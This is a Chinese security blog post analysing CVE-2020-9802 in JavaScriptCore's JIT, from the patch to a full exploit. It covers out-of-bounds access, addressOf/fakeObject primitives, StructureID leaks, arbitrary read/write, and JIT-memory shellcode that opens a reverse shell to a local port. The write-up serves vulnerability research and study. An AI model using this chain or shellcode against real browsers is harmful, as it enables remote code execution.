<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】CVE-2020-9802 JSC CSE漏洞分析

    VSole2021-07-09 17:31:19

    前言

    編譯器優化中有一項CSE(公共子表達式消除),如果JS引擎在執行時類型收集的不正確,將導致表達式被錯誤的消除引發類型混淆。

    前置知識

    CSE

    公共子表達式消除即為了去掉那些相同的重復計算,使用代數變換將表達式替換,并刪除多余的表達式,如

    let c = Math.sqrt(a*a + a*a);
    

    將被優化為

    let tmp = a*a;let c = Math.sqrt(tmp + tmp);
    

    這樣就節省了一次乘法,現在我們來看下列代碼

    let c = o.a;f();let d = o.a;
    

    由于在兩個表達式之間多了一個f()函數的調用,而函數中很有可能改變.a的值或者類型,因此這兩個公共子表達式不能直接消除,編譯器會收集o.a的類型信息,并跟蹤f函數,收集信息,如果到f分析完畢,o.a的類型也沒有改變,那么let d = o.a;就可以不用再次檢查o.a的類型。

    在JSC中,CSE優化需要考慮的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定義,從文件路徑可以知道,這是一個在DFG階段的相關優化,文件中有一個clobberize函數,

    template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def){.............................................    case CompareEqPtr:        def(PureValue(node, node->cellOperand()->cell()));        return;..............................................
    

    clobberize函數中的def操作定義了CSE優化時需要考慮的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要對CompareEqPtr運算進行CSE優化,需要考慮的因素除了value本身的值,還需要的是Operand(操作數)的類型(cell)。

    邊界檢查消除

    與V8的checkbounds消除類似,當數組的下標分析確定在數組的大小范圍之內,則可以消除邊界檢查,但如果編譯器本身的檢查方式出現溢出等問題,編譯器認為idx在范圍之內而實際則可能不在范圍內,錯誤的消除邊界檢查將導致數組溢出。

    為了研究JSC在什么條件下可以消除邊界檢查,我們使用如下代碼進行測試調試

    function foo(arr,idx) {   idx = idx | 0;   if (idx < arr.length) {      if (idx & 0x3) {         idx += -2;      }      if (idx >= 0) {         return arr[idx];      }   }}
    var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
    for (var i=0;i<0xd0000;i++) {   foo(arr,2);}
    debug(describe(arr));print();debug(foo(arr,0x3));
    

    給print的函數斷點用于中斷腳本以進行調試b *printInternal,運行時加上-p選項將優化時的數據輸出為json,從json文件中,我們看到foo函數的字節碼

    [   0] enter[   1] get_scope          loc4[   3] mov                loc5, loc4[   6] check_traps        [   7] bitor              arg2, arg2, Int32: 0(const0)[  12] get_by_id          loc6, arg1, 0[  17] jnless             arg2, loc6, 29(->46)[  21] bitand             loc6, arg2, Int32: 3(const1)[  26] jfalse             loc6, 9(->35)[  29] add                arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)[  35] jngreatereq        arg2, Int32: 0(const0), 11(->46)[  39] get_by_val         loc6, arg1, arg2[  44] ret                loc6[  46] ret                Undefined(const3)
    

    其中[ 39] get_by_val loc6, arg1, arg2用于從數組中取出數據,在DFG JIT時,其展開的匯編代碼為

    0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11          0x7fffaf101fad: mov (%r11), %r11          0x7fffaf101fb0: test %r11, %r11          0x7fffaf101fb3: jz 0x7fffaf101fc0          0x7fffaf101fb9: mov $0x113, %r11d          0x7fffaf101fbf: int3           0x7fffaf101fc0: mov $0x7fffaef000dc, %r11          0x7fffaf101fca: mov $0x0, (%r11)          0x7fffaf101fce: cmp -0x8(%rdx), %esi          0x7fffaf101fd1: jae 0x7fffaf1024cb          0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0          0x7fffaf101fdc: ucomisd %xmm0, %xmm0          0x7fffaf101fe0: jp 0x7fffaf1024f2
    

    其中的

    0x7fffaf101fce: cmp -0x8(%rdx), %esi          0x7fffaf101fd1: jae 0x7fffaf1024cb
    

    用于檢查下標是否越界,可見DFG JIT階段并不會去除邊界檢查,盡管我們在代碼中使用了if語句將idx限定在了數組的長度范圍之內。邊界檢查去除表現在FTL JIT的匯編代碼中,從json文件中可以看到FTL JIT時,對字節碼字節碼[ 39] get_by_val loc6, arg1, arg2的展開如下

    D@86:<!0:->    ExitOK(MustGen, W:SideState, bc#39, ExitValid)D@63:<!0:->    CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)D@66:<!2:->    GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsDoubleD@85:<!0:->    KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)D@67:<!0:->    MovHint(DoubleRep:D@66, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)ValueRep(DoubleRep:Kill:D@66, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
    

    從中可以看到GetByVal中傳遞的參數中含有InBounds標記,那么其匯編代碼中將不會檢查下標是否越界,因為前面已經確定下標在范圍內。為了查看FTL JIT生成的匯編代碼,我們使用gdb調試,遇到print語句時會斷點停下

    此時,我們對butterfly中對應的位置下一個硬件讀斷點,然后繼續運行

    pwndbg> rwatch *0x7ff803ee4018Hardware read watchpoint 79: *0x7ff803ee4018pwndbg> cContinuing.
    

    然后斷點斷下

       0x7fffaf101b9c    movabs r11, 0x7fffaef000dc   0x7fffaf101ba6    mov    byte ptr [r11], 0   0x7fffaf101baa    cmp    esi, dword ptr [rdx - 8]   0x7fffaf101bad    jae    0x7fffaf102071 <0x7fffaf102071>
       0x7fffaf101bb3    movsd  xmm0, qword ptr [rdx + rsi*8] ? 0x7fffaf101bb8    ucomisd xmm0, xmm0   0x7fffaf101bbc    jp     0x7fffaf102098 <0x7fffaf102098>
    

    我們發現這仍然存在cmp esi, dword ptr [rdx - 8]檢查了下標,這是由于FTL JIT是延遲優化的,可能還沒優化過來,我們按照前面的步驟重新試一下

       0x7fffaf1039fa    mov    eax, 0xa   0x7fffaf103a00    mov    rsp, rbp   0x7fffaf103a03    pop    rbp   0x7fffaf103a04    ret    
       0x7fffaf103a05    movsd  xmm0, qword ptr [rdx + rax*8] ? 0x7fffaf103a0a    ucomisd xmm0, xmm0   0x7fffaf103a0e    jp     0x7fffaf103aeb <0x7fffaf103aeb>
    

    發現這次,邊界檢查被去除了,為了查看更多的代碼片段,我們使用gdb的dump命令將這段代碼dump出來用IDA分析

    pwndbg> vmmap 0x7fffaf103a0aLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA    0x7fffaf0ff000     0x7fffaf104000 rwxp     5000 0       +0x4a0apwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000pwndbg>
    

    可以看到語句

    if (idx & 0x3) {         idx += -2;      }
    

    執行完畢后,無需再一次檢查idx < arr.length,因為這是一個減法操作,正常情況下idx減去一個正數肯定會變小,小于arr.length,因此就去掉了邊界檢查。

    漏洞分析利用

    patch分析

    diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.hindex b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)--- a/Source/JavaScriptCore/dfg/DFGClobberize.h+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
         case ArithAbs:         if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)-            def(PureValue(node));+            def(PureValue(node, node->arithMode()));         else {             read(World);             write(Heap);@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu         if (node->child1().useKind() == Int32Use             || node->child1().useKind() == DoubleRepUse             || node->child1().useKind() == Int52RepUse)-            def(PureValue(node));+            def(PureValue(node, node->arithMode()));         else {             read(World);             write(Heap);
    

    該patch修復了漏洞,從patch中可以知道,這原本是一個跟CSE優化有關的漏洞,patch中加入了node->arithMode()參數,那么在CSE優化時,不僅要考慮操作數的值,還要考慮算術運算中出現的溢出等因素,即使最終的值一樣,如果其中一個表達式是溢出的,也不能進行CSE優化。

    POC構造

    首先從patch可以知道,修改的內容分別在ArithAbs和ArithNegate分支,它們分別對應了JS中的Math.abs和-運算。

    嘗試構造如下代碼

    function foo(n) {   if (n < 0) {      let a = -n;      let b = Math.abs(n);      debug(b);   }}
    for (var i=0;i<0x30000;i++) {   foo(-2);}
    

    foo部分字節碼如下

    [  17] negate             loc7, arg1, 126..........[  48] call               loc6, loc8, 2, 18
    

    分別代表了-n和Math.abs(n);,在DFG JIT階段,其展開為如下

    [ 17]CountExecutionGetLocalArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)MovHint[ 48]CountExecutionFilterCallLinkStatusArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)PhantomPhantomMovHint
    

    在FTL JIT階段,代碼變化如下

    [ 17]CountExecutionArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)KillStackZombieHint[ 48]CountExecutionFilterCallLinkStatusKillStackZombieHint
    

    可以看到ArithAbs被去除了,這就是漏洞所在,ArithAbs與ArithNegate的不同點在于,ArithNegate不檢查溢出,而ArithAbs會檢查溢出,因此對于0x80000000這個值,-0x80000000值仍然為-0x80000000,是一個32位數據,而Math.abs(-0x80000000)將擴展位數,值為0x80000000。顯然編譯器沒有察覺到這一點,將ArithAbs與ArithNegate認為是公共子表達式,于是便可以進行互相替換。

    因此構造的POC如下

    function foo(n) {   if (n < 0) {      let a = -n;      let b = Math.abs(n);      debug(b);   }}
    for (var i=0;i<0xc0000;i++) {   foo(-2);}
    foo(-0x80000000);
    

    程序輸出如下

    ..............--> 2--> 2--> 2--> 2--> 2--> -2147483648
    

    可以看到,這個值并不是Math.abs(-0x80000000)的準確值。

    OOB數組構造

    利用邊界檢查消除來進行數組的溢出

    function foo(arr,n) {   if (n < 0) {      let a = -n;      let idx = Math.abs(n);      if (idx < arr.length) { //確定在邊界之內         if (idx & 0x80000000) { //對于0x80000000,我們減去一個數,以將idx變換到任意正值            idx += -0x7ffffffd;         }         if (idx >= 0) { //確定在邊界之內            return arr[idx]; //溢出         }      }   }}
    var arr = [1.1,2.2,3.3];for (var i=0;i<0xc0000;i++) {   foo(arr,-2);}
    debug(foo(arr,-0x80000000));
    

    因為編譯器的錯誤優化,idx是一個32位數,那么idx < arr.length的檢查通過,那么后續的return arr[idx]; //溢出將不會檢查右邊界,因此可以溢出數據。通過測試,發現POC有時可以成功溢出,有時不能

    root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 1.5488838078e-314root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> undefined
    

    這是因為漏洞最終發生在FTL JIT,這個是延遲優化的,可能在執行最后的debug(foo(arr,-0x80000000));還沒生成好JIT代碼,因此具有微小的隨機性,不影響漏洞利用。為了查看FTL JIT的匯編代碼,我們使用前面介紹的方法,對arr的butterfly下硬件斷點,然后停下時將代碼片段dump出來

    seg000:00007FFFAF10346F                 mov     ecx, eaxseg000:00007FFFAF103471                 neg     ecxseg000:00007FFFAF103473                 mov     rdx, [rdx+8]seg000:00007FFFAF103477                 cmp     ecx, [rdx-8]seg000:00007FFFAF10347A                 jl      loc_7FFFAF103496seg000:00007FFFAF103480                 mov     dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF10348A                 mov     rax, 0Ahseg000:00007FFFAF103491                 mov     rsp, rbpseg000:00007FFFAF103494                 pop     rbpseg000:00007FFFAF103495                 retnseg000:00007FFFAF103496 ; ---------------------------------------------------------------------------seg000:00007FFFAF103496seg000:00007FFFAF103496 loc_7FFFAF103496:                       ; CODE XREF: seg000:00007FFFAF10347A↑jseg000:00007FFFAF103496                 test    ecx, 80000000hseg000:00007FFFAF10349C                 jnz     loc_7FFFAF1034E8seg000:00007FFFAF1034A2                 test    ecx, ecxseg000:00007FFFAF1034A4                 jns     loc_7FFFAF1034C0................seg000:00007FFFAF1034E8 loc_7FFFAF1034E8:                       ; CODE XREF: seg000:00007FFFAF10349C↑jseg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF                 sub     ecx, eaxseg000:00007FFFAF1034F1                 test    ecx, ecxseg000:00007FFFAF1034F3                 jns     loc_7FFFAF1034C0seg000:00007FFFAF1034F9                 jmp     loc_7FFFAF1034AA................seg000:00007FFFAF1034C0 loc_7FFFAF1034C0:                       ; CODE XREF: seg000:00007FFFAF1034A4↑jseg000:00007FFFAF1034C0                                         ; seg000:00007FFFAF1034F3↓jseg000:00007FFFAF1034C0                 mov     eax, ecxseg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]seg000:00007FFFAF1034C7                 ucomisd xmm0, xmm0seg000:00007FFFAF1034CB                 jp      loc_7FFFAF1035A8seg000:00007FFFAF1034D1                 movq    rax, xmm0seg000:00007FFFAF1034D6                 sub     rax, rdiseg000:00007FFFAF1034D9                 mov     dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF1034E3                 mov     rsp, rbpseg000:00007FFFAF1034E6                 pop     rbpseg000:00007FFFAF1034E7                 retn
    

    從中可以看出,上述匯編代碼正好印證了我們前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比較右邊界,但由于ecx是32位,0x80000000比較通過,然后

    seg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF                 sub     ecx, eax
    

    使得ecx為3,最后通過

    seg000:00007FFFAF1034C0                 mov     eax, ecxseg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]
    

    進行數組溢出讀取數據。那么我們可以用同樣的方法,越界寫改寫下一個數組對象butterfly中的length和capacity,從而構造一個oob的數組對象。首先要在內存上布局三個相鄰的數組對象

    arr0 ArrayWithDouble,arr1 ArrayWithDouble,arr2 ArrayWithContiguous,
    

    通過arr0溢出改寫arr1的length和capacity,即可將arr1構造為oob的數組

    var arr = [1.1,2.2,3.3];var oob_arr= [2.2,3.3,4.4];var obj_arr = [{},{},{}];
    debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();
    

    發現三個數組的butterfly不相鄰,并且類型不大對

    --> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463
    

    前兩個類型為CopyOnWriteArrayWithDouble,導致它們與arr2的butterfly不相鄰,于是嘗試這樣構造

    let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}];
    debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932
    

    這回就相鄰了,然后我們利用前面的漏洞構造oob數組

    function foo(arr,n) {   if (n < 0) {      let a = -n;      let idx = Math.abs(n);      if (idx < arr.length) { //確定在邊界之內         if (idx & 0x80000000) { //對于0x80000000,我們減去一個數,以將idx變換到任意正值            idx += -0x7ffffffd;         }         if (idx >= 0) { //確定在邊界之內            arr[idx] = 1.04380972981885e-310; //溢出         }      }   }}
    let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}];
    for (var i=0;i<0xc0000;i++) {   foo(arr,-2);}foo(arr,-0x80000000);
    debug(oob_arr.length);
    

    輸出如下,需要多次嘗試,原因前面說過

    root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 4919
    

    利用oob_arr和obj_arr即可輕松構造出addressOf和fakeObject原語

    泄露StructureID

    getByVal

    在新版的JSC中,加入了StructureID隨機化機制,使得我們前面介紹的噴射對象,并猜測StructureID的方法變得困難,成功率極大降低。因此需要使用其他方法,一種方法是利用getByVal,

    static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode){   ..............................    if (subscript.isUInt32()) {       .......................        } else if (baseValue.isObject()) {            JSObject* object = asObject(baseValue);            if (object->canGetIndexQuickly(i))                return object->getIndexQuickly(i);
    

    其中canGetIndexQuickly源碼如下

    bool canGetIndexQuickly(unsigned i) const    {        const Butterfly* butterfly = this->butterfly();        switch (indexingType()) {...............        case ALL_DOUBLE_INDEXING_TYPES: {            if (i >= butterfly->vectorLength())                return false;            double value = butterfly->contiguousDouble().at(this, i);            if (value != value)                return false;            return true;        }............    }
    

    getIndexQuickly代碼如下

    JSValue getIndexQuickly(unsigned i) const{.............        case ALL_DOUBLE_INDEXING_TYPES:            return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));...............        }    }
    

    從上面可以知道getIndexQuickly這條路徑不會使用到StructureID,那么如何觸發getByVal呢?經過測試,發現對不是數組類型的對象,使用[]運算符可以觸發到getByVal

    var a = {x:1};var b = a[0];debug(b);print();
    

    因此,我們可以嘗試構造一個假的StructureID,使得它匹配StructureID時發現不是數組類型,就可以調用到getByVal

    var arr_leak = new Array(noCow,2.2,3.3);function leak_structureID(obj) {   let jscell_double = p64f(0x00000000,0x01062307);   let container = {      jscell:jscell_double,      butterfly:obj   }
       let container_addr = addressOf(container);   let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);   f64[0] = hax[0];   let structureID = u32[0];   //修復JSCell   u32[1] = 0x01082307 - 0x20000;   container.jscell = f64[0];;   return structureID;}
    var structureID = leak_structureID(arr_leak);debug(structureID);print();
    

    調試如下

    baseValue.isObject()判斷通過,將進入分支

     ? 962         } else if (baseValue.isObject()) {   963             JSObject* object = asObject(baseValue);   964             if (object->canGetIndexQuickly(i))   965                 return object->getIndexQuickly(i);   966    967             bool skipMarkingOutOfBounds = false;pwndbg> p baseValue.isObject()$3 = true
    

    接下來,我們跟蹤進入canGetIndexQuickly函數

    In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h   272             return false;   273         case ALL_INT32_INDEXING_TYPES:   274         case ALL_CONTIGUOUS_INDEXING_TYPES:   275             return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);   276         case ALL_DOUBLE_INDEXING_TYPES: { ? 277             if (i >= butterfly->vectorLength())   278                 return false;   279             double value = butterfly->contiguousDouble().at(this, i);   280             if (value != value)   281                 return false;   282             return true;pwndbg> p butterfly->vectorLength()$11 = 32767
    

    這里獲取了容量,如果i在長度范圍之內,則返回true,即可成功取得數據。由于這里我們是將arr_leak這個對象當成了butterfly,因此容量也就是&arr_leak-0x4處的數據,即

    pwndbg> x /2wx 0x7fffef1613e8-0x80x7fffef1613e0:    0xef1561a0    0x00007fff
    

    與32767對應上了。由此我們看出,這種方法的條件是&arr_leak-0x4處的數據要大于0即可,因此可以在內存布局的時候在arr_leak前面布置一個數組并用數據填充。如果不在前面布局一個數組用于填充,則利用程序將受到隨機化的影響而不穩定。

    Function.prototype.toString.call

    另一個方法是通過toString() 函數的調用鏈來實現任意地址讀數據,主要就是偽造調用鏈中的結構,最終使得identifier指向需要泄露的地址處,然后使用Function.prototype.toString.call獲得任意地址處的數據,可參考文章

    function leak_structureID2(obj) {    // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
        var unlinkedFunctionExecutable = {        m_isBuitinFunction: i2f(0xdeadbeef),        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,        m_identifier: {},    };
        var fakeFunctionExecutable = {      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,      m_executable: unlinkedFunctionExecutable,    };
        var container = {      jscell: i2f(0x00001a0000000000),      butterfly: {},      pad: 0,      m_functionExecutable: fakeFunctionExecutable,    };
    
        let fakeObjAddr = addressOf(container);    let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);
        unlinkedFunctionExecutable.m_identifier = fakeObj;    container.butterfly = obj;
        var nameStr = Function.prototype.toString.call(fakeObj);
        let structureID = nameStr.charCodeAt(9);
        // repair the fakeObj's jscell    u32[0] = structureID;    u32[1] = 0x01082309-0x20000;    container.jscell = f64[0];    return structureID;}
    

    任意地址讀寫原語

    在泄露了StructureID以后,就可以偽造數組對象進行任意地址讀寫了

    var structureID = leak_structureID2(arr_leak);u32[0] = structureID;u32[1] = 0x01082309-0x20000;
    //debug(describe(arr_leak));debug('[+] structureID=' + structureID);
    var victim = [1.1,2.2,3.3];victim['prop'] = 23.33;
    var container = {   jscell:f64[0],   butterfly:victim}
    var container_addr = addressOf(container);var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
    var padding = [1.1,2.2,3.3,4.4];var unboxed = [noCow,2.2,3.3];var boxed = [{}];
    /*debug(describe(unboxed));debug(describe(boxed));debug(describe(victim));debug(describe(hax));*/
    hax[1] = unboxed;var sharedButterfly = victim[1];hax[1] = boxed;victim[1] = sharedButterfly;
    
    function NewAddressOf(obj) {   boxed[0] = obj;   return u64f(unboxed[0]);}
    function NewFakeObject(addr_l,addr_h) {   var addr = p64f(addr_l,addr_h);   unboxed[0] = addr;   return boxed[0];}
    function read64(addr_l,addr_h) {   //必須保證在vicim[-1]處有數據,即used slots和max slots字段,否則將導致讀取失敗   //因此我們換用另一種方法,即利用property去訪問   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);   return NewAddressOf(victim.prop);}
    function write64(addr_l,addr_h,double_val) {   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);   victim.prop = double_val;}
    

    劫持JIT編譯的代碼

    var shellcodeFunc = getJITFunction();shellcodeFunc();var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);
    var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));
    debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
    const shellcode = [    0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,    0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,    0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,    0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,    0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,    0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,    0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,    0x3B, 0x0F, 0x05];
    function ByteToDwordArray(payload){
        let sc = []    let tmp = 0;    let len = Math.ceil(payload.length/6)    for (let i = 0; i < len; i += 1) {        tmp = 0;        pow = 1;        for(let j=0; j<6; j++){            let c = payload[i*6+j]            if(c === undefined) {                c = 0;            }            pow = j==0 ? 1 : 256 * pow;            tmp += c * pow;        }        tmp += 0xc000000000000;        sc.push(tmp);    }    return sc;}
    //debug(describe(shellcodeFunc));
    //debug(shellcode.length);//替換jit的shellcodelet sc = ByteToDwordArray(shellcode);for(let i=0; i   write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));}
    debug("trigger shellcode")//執行shellcodeprint();shellcodeFunc();
    print();
    

    這里,我們使用ByteToDwordArray將shellcode轉為6字節有效數據每個的數組,這樣是為了在write64時能一次寫入6個有效數據,減少for(let i=0; i結果展示

    感想

    通過本次研究學習,理解了JSC的邊界檢查消除機制,同時也對JSC中的CSE有了一些了解,其與V8之間也非常的相似。

    參考

    FireShell2020——從一道ctf題入門jsc利用

    WebKit Commitdiff

    eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods

    JITSploitation I:JIT編譯器漏洞分析

    Project Zero: JITSploitation I: A JIT Bug

    代碼優化butterfly
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果指定了一個類為final,則該類所有的方法都是final的。此舉能夠使性能平均提高50% 。因為對這些大對象的操作會造成系統大的開銷,稍有不慎,將會導致嚴重的后果。
    每次聊到代碼優化,都會有很多人說理論、架構、核心思路,其實我覺得代碼優化這事說簡單了很簡單,說復雜了吧它也有一定的難度,但是我覺得有一個良好的編碼習慣很重要,下面分享一下14個springboot項目中優化代碼的小技巧,讓代碼優化跟容易,就像完成一件小事。
    看雪論壇作者ID:wx_御史神風
    據外媒報道,韓國科技巨頭三星前不久發生了好幾起由ChatGPT引起的信息泄露事件,設備測量、產量數據、內部會議等機密內容都被傳輸到了海外。但從3月11日起,在認識到需要跟上技術進步后,三星的DS部門批準了使用GPT,并特別在公告中提醒員工 “注意公司內部信息安全,不要輸入敏感內容”。三星公司在知悉這些事件后,緊急采取了一系列緩解措施,例如將上傳內容限制在1024字節以內等。三星目前正向事故相關職員調查原委,必要時給予處罰。
    利用這一上下文,RASP能夠就應用安全做出明智決策,及時遏阻漏洞利用造成損害。因此,真正的RASP應該是零誤報和低延遲的,能夠即時提升性能。真正的RASP需要一系列不可改變的規則,這些規則靠上下文洞悉何時引入了新漏洞,并據此采取相應的措施。RASP出錯的三個方面1、吠犬問題:大多數警報都是誤報WAF的問題在于運行在網絡層,作為應用執行指標而言滯后了。相反,真正的RASP平臺在運行時執行實際保護。
    V8環境搭建
    2021-09-14 18:00:00
    本文是這個系列的第一篇,主要講解四部分內容。
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    介紹實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的本文以CommonsBeanutils1鏈為示例,
    本文講解 Turbofan 的工作流程、梳理 PrepareJob、ExecuteJob 和 FinalizeJob 的主要功能以及重要數據結構。
    此工具是因為看到了Dliv3師傅的Venom工具后,想著自己也寫一個屬于自己的多級代理工具,故而利用閑暇時間編寫的(是的,我又在重復造輪子), 在此感謝Dliv3師傅 XD。 廢話不多說,我把我的README先搬過來給大家瞅瞅 Stowaway是一個利用go語言編寫的多級代理工具用戶可使用此程序將外部流量通過多個節點代理至內網,并實現管理功能 此工具僅限于安全研究和教學,用戶承擔因使用此
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类